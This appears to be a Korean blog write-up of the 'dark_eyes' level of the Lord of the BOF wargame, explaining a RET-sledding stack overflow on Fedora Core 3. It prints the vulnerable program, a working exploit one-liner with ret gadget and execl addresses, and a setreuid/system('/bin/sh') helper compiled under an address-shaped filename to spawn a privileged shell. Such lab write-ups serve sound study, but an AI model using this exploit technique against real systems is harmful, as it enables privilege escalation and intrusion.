ret sleding에 대해 쓰는 글


    아래는 코드

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - dark_eyes
            - Local BOF on Fedora Core 3
            - hint : RET sleding
    */
    
    int main(int argc, char *argv[])
    {
            char buffer[256];
            char saved_sfp[4];
    
            if(argc < 2){
                    printf("argv error\n");
                    exit(0);
            }
    
            // save sfp
            memcpy(saved_sfp, buffer+264, 4);
    
            // overflow!!
            strcpy(buffer, argv[1]);
    
            // restore sfp
            memcpy(buffer+264, saved_sfp, 4);
    
            printf("%s\n", buffer);
    }
    


    buffer+264번지에 sfp, buffer+268번지에 ret이 있다. 이 단계는 sfp를 쓸 수 없다.


    RET sleding은 ret으로 ret 명령어가 있는 주소를 가리키는 걸 뜻한다.

    ret ret ret 은 pop eip, pop eip, pop eip를 뜻하는데, 스택을 파괴하는 nop 느낌으로 쓰면 될듯


    이 문제에서 이걸 이용해서 어떻게 푸냐... 하면 execl 함수를 호출할 때 사용할 것이다.

    참고로 execl은 execl("/bin/sh", NULL); 같은 느낌으로 써주면 된다. 자세한 건 레퍼런스 보샘


    얼추 내가 원하는 모양을 써서 gdb로 확인해보면

    execl(0x0083eff4, 0x00000000);과 같은 식으로 호출되면 참 그림이 좋을 것 같다. 0x007a5720을 오른쪽으로 2번 밀어주자.

    그럼 아래와 같은 코드가 완성된다.

    ./dark_eyes "`python -c 'print "A"*268 + "\xb9\x84\x04\x08"*3 + "\x20\x57\x7a"'`"



    참고로 0x080484b9는 ret 명령어 주소, 0x007a5720은 execl 함수 주소.

    그리고 0x0083eff4에는

    0x83ed3c가 있다.


    아래와 같은 코드를 작성해서 0x83ed3c로 실행파일명을 준비해주자

    #include <unistd.h>
    int main() {
        setreuid(geteuid(), geteuid());
        system("/bin/sh");
        return 0;
    }
    gcc shell.c -o `python -c 'print "\x3c\xed\x83"'`


    그 다음에 저 위에 써놓은 코드를 쓰면 sh 실행이 된다.

    Posted by 코요